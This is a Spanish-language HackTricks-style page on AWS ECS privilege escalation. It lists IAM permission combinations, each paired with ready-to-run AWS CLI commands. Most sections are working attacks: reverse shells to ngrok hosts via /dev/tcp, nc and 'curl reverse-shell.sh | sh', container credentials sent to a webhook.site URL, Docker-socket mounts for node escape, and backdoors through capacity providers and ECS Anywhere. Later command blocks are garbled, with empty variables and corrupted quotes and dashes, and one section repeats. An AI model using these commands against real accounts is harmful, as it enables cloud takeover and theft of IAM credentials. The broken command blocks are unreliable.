AWS - ECS Privesc

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Revisa los planes de suscripción!

Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

ECS

Más info sobre ECS en:

AWS - ECS Enum

`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

Un atacante que abuse del permiso iam:PassRole, ecs:RegisterTaskDefinition y ecs:RunTask en ECS puede generar una nueva definición de tarea con un contenedor malicioso que robe las credenciales de metadatos y ejecutarla.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Crea un webhook con un sitio como webhook.site


# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impacto potencial: Escalada directa privesc a un rol de ECS diferente.

`iam:PassRole`,`ecs:RunTask`

Un atacante que tenga permisos iam:PassRole y ecs:RunTask puede iniciar una nueva tarea de ECS con valores modificados de execution role, task role y el command del contenedor. El comando CLI ecs run-task incluye la opción --overrides, que permite cambiar en tiempo de ejecución executionRoleArn, taskRoleArn y el command del contenedor sin tocar la task definition.

Los roles IAM especificados en taskRoleArn y executionRoleArn deben confiar/permitir ser asumidos por ecs-tasks.amazonaws.com en su política de confianza.

Además, el atacante necesita conocer:

Nombre del cluster de ECS
Subred de la VPC
Security group (Si no se especifica un security group se usará el por defecto)
Nombre y revisión de la Task Definition
Nombre del contenedor

aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

En el fragmento de código anterior un atacante sobrescribe solo el valor de taskRoleArn. Sin embargo, el atacante debe tener el permiso iam:PassRole sobre el taskRoleArn especificado en el comando y sobre el executionRoleArn especificado en la definición de la tarea para que el ataque suceda.

Si el IAM role que el atacante puede pasar tiene suficientes privilegios para hacer pull de la imagen desde ECR y arrancar la tarea de ECS (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken), entonces el atacante puede especificar el mismo IAM role tanto para executionRoleArn como para taskRoleArn en el comando ecs run-task.

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Impacto potencial: Privesc directo a cualquier rol de tarea de ECS.

`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

Al igual que en el ejemplo anterior, un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask en ECS puede generar una nueva task definition con un contenedor malicioso que robe las credenciales de metadatos y ejecutarla.
Sin embargo, en este caso, es necesaria una container instance para ejecutar la task definition maliciosa.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impacto potencial: Privesc directo a cualquier role de ECS.

`iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`

Al igual que en el ejemplo anterior, un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService o ecs:CreateService en ECS puede generar una nueva definición de tarea con un contenedor malicioso que robe las credenciales de metadatos y ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Impacto potencial: Privesc directo a cualquier rol de ECS.

`iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

De hecho, solo con esos permisos es posible usar overrides para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Impacto potencial: privesc directo a cualquier ECS role.

`ecs:RegisterTaskDefinition`, `(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`

Este escenario es como los anteriores pero sin el permiso iam:PassRole.
Sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso sin un role, podrías ejecutar un contenedor privilegiado para escapar al nodo y robar el EC2 IAM role y los roles de otros contenedores ECS que se estén ejecutando en el nodo.
Incluso podrías forzar que otras tareas se ejecuten dentro de la instancia EC2 que comprometas para robar sus credenciales (como se discute en la Privesc to node section).

Warning

Este ataque solo es posible si el ECS cluster está usando instancias EC2 y no Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

`ecs:ExecuteCommand`, `ecs:DescribeTasks,``(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`

Un atacante con ecs:ExecuteCommand, ecs:DescribeTasks puede ejecutar comandos dentro de un contenedor en ejecución y exfiltrar el rol IAM adjunto a éste (se necesitan los permisos de describe porque son necesarios para ejecutar aws ecs execute-command).
Sin embargo, para hacer eso, la instancia del contenedor debe estar ejecutando el ExecuteCommand agent (por defecto no lo está).

Por lo tanto, el atacante podría intentar:

Intentar ejecutar un comando en cada contenedor en ejecución

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

Si tiene ecs:RunTask, ejecute una tarea con aws ecs run-task --enable-execute-command [...]
Si tiene ecs:StartTask, ejecute una tarea con aws ecs start-task --enable-execute-command [...]
Si tiene ecs:CreateService, cree un servicio con aws ecs create-service --enable-execute-command [...]
Si tiene ecs:UpdateService, actualice un servicio con aws ecs update-service --enable-execute-command [...]

Puedes encontrar ejemplos de esas opciones en secciones previas de ECS privesc.

Impacto potencial: Privesc a un rol diferente adjunto a contenedores.

`ssm:StartSession`

Consulta en la ssm privesc page cómo puedes abusar de este permiso para privesc to ECS:

AWS - SSM Privesc

`iam:PassRole`, `ec2:RunInstances`

Consulta en la ec2 privesc page cómo puedes abusar de estos permisos para privesc to ECS:

AWS - EC2 Privesc

`ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

Un atacante con estos permisos podría registrar potencialmente una instancia EC2 en un clúster ECS y ejecutar tareas en ella. Esto podría permitir al atacante ejecutar código arbitrario dentro del contexto de las tareas de ECS.

TODO: ¿Es posible registrar una instancia desde una cuenta AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante??

`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

Note

TODO: Probar esto

Un atacante con los permisos ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet y ecs:DescribeTaskSets puede crear un task set malicioso para un servicio ECS existente y actualizar el task set primario. Esto permite al atacante ejecutar código arbitrario dentro del servicio.

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Impacto potencial: Ejecutar código arbitrario en el servicio afectado, pudiendo afectar su funcionalidad o exfiltrar datos sensibles.

Referencias

https://ruse.tech/blogs/ecs-attack-methods

Secuestrar la programación de ECS mediante un Capacity Provider malicioso (toma de control de EC2 ASG)

Un atacante con permisos para gestionar ECS capacity providers y actualizar servicios puede crear un EC2 Auto Scaling Group que controle, integrarlo en un ECS Capacity Provider, asociarlo al cluster objetivo y migrar un servicio víctima para que use este provider. Las tareas se programarán entonces en instancias EC2 controladas por el atacante, permitiendo acceso a nivel de OS para inspeccionar contenedores y robar task role credentials.

Commands (us-east-1):

Requisitos previos
Crear Launch Template para que el agente ECS se una al cluster objetivo
Crear Auto Scaling Group
Crear Capacity Provider desde el ASG
Asociar el Capacity Provider al cluster (opcionalmente como predeterminado)
Migrar un servicio para usar tu Capacity Provider
Verificar que las tareas se ejecuten en las instancias del atacante
Opcional: Desde el nodo EC2, docker exec en los contenedores objetivo y leer http://169.254.170.2 para obtener las task role credentials.
Limpieza

Impacto potencial: Las instancias EC2 controladas por el atacante reciben tareas de la víctima, habilitando acceso a nivel de OS a los contenedores y robo de las credenciales IAM del task role.

Comandos paso a paso (copiar/pegar)

export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
VPC=vpc-18e6ac62
SUBNETS=
AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=
ASG_ARN=
CP_NAME=htcp-8797
aws ecs create-capacity-provider –name  –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED”
aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers  –default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment
TASK=
CI=
aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text


Puerta trasera de cómputo en el cluster mediante registro EXTERNAL de ECS Anywhere
Abusa de ECS Anywhere para registrar un host controlado por el atacante como una container instance EXTERNAL en un cluster ECS de la víctima y ejecutar tareas en ese host usando task y execution roles privilegiados. Esto otorga control a nivel de OS sobre dónde se ejecutan las tareas (tu propia máquina) y permite el robo de credenciales/datos de las tareas y volúmenes adjuntos sin tocar capacity providers ni ASGs.


Permisos requeridos (ejemplo mínimo):


ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask


ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation


iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)


logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)


Impacto: Ejecutar contenedores arbitrarios con taskRoleArn elegido en el host del atacante; exfiltrar task-role credentials desde 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acceder a cualquier volumen montado por las tareas; más sigiloso que manipular capacity providers/ASGs.


Pasos

Crear/identificar cluster (us-east-1)

aws ecs create-cluster --cluster-name ht-ecs-anywhere


Crear rol de ECS Anywhere y activación de SSM (para instancia on-prem/EXTERNAL)

aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)


Provisionar el host atacante y autorregistrarlo como EXTERNAL (ejemplo: small AL2 EC2 como “on‑prem”)


user-data.sh
```bash
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
```

```bash
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```
4) Verificar que la instancia de contenedor EXTERNA se haya unido
```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances  --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```
5) Crear roles de task/execution, registrar una task definition EXTERNAL y ejecutarla en el host atacante
```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role
task def (EXTERNAL launch)
cat > td-external.json << ‘JSON’
{
“family”: “ht-external”,
“requiresCompatibilities”: [ “EXTERNAL” ],
“networkMode”: “bridge”,
“memory”: “256”,
“cpu”: “128”,
“executionRoleArn”: “arn:aws:iam:::role/ht-ecs-task-exec”,
“taskRoleArn”: “arn:aws:iam:::role/ht-ecs-task-role”,
“containerDefinitions”: [
{“name”:“steal”,“image”:“public.ecr.aws/amazonlinux/amazonlinux:latest”,
“entryPoint”:[“/bin/sh”,“-c”],
“command”:[“REL=$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2$REL; sleep 600”],
“memory”: 128,
“logConfiguration”:{“logDriver”:“awslogs”,“options”:{“awslogs-region”:“us-east-1”,“awslogs-group”:“/ht/ecs/anywhere”,“awslogs-stream-prefix”:“steal”}}
}
]
}
JSON
aws logs create-log-group –log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition –cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances –cluster ht-ecs-anywhere –query ‘containerInstanceArns[0]’ –output text)
aws ecs start-task –cluster ht-ecs-anywhere –task-definition ht-external 
–container-instances $CI
6) Desde aquí controlas el host que ejecuta los tasks. Puedes leer los task logs (si awslogs) o ejecutar directamente en el host (exec) para exfiltrate credentials/data desde tus tasks.



#### Ejemplo de comando (placeholders)




### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Un attacker con permisos para gestionar ECS capacity providers y actualizar services puede crear un EC2 Auto Scaling Group que controle, envolverlo en un ECS Capacity Provider, asociarlo al cluster objetivo, y migrar un servicio víctima para usar este provider. Los tasks serán entonces programados en instancias EC2 controladas por el attacker, permitiendo acceso a nivel de sistema operativo para inspeccionar containers y robar task role credentials.

Comandos (us-east-1):

- Requisitos



- Crear Launch Template para que el ECS agent se una al cluster objetivo



- Crear Auto Scaling Group



- Crear Capacity Provider a partir del ASG



- Asociar el Capacity Provider al cluster (opcionalmente como predeterminado)



- Migrar un servicio para usar tu provider



- Verificar que los tasks se ejecutan en instancias controladas por el attacker



- Opcional: Desde el nodo EC2, docker exec en los containers objetivo y leer http://169.254.170.2 para obtener los task role credentials.

- Limpieza



**Impacto potencial:** Nodos EC2 controlados por el attacker reciben los tasks de la víctima, permitiendo acceso a nivel de sistema operativo a los containers y el robo de task IAM role credentials.
> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>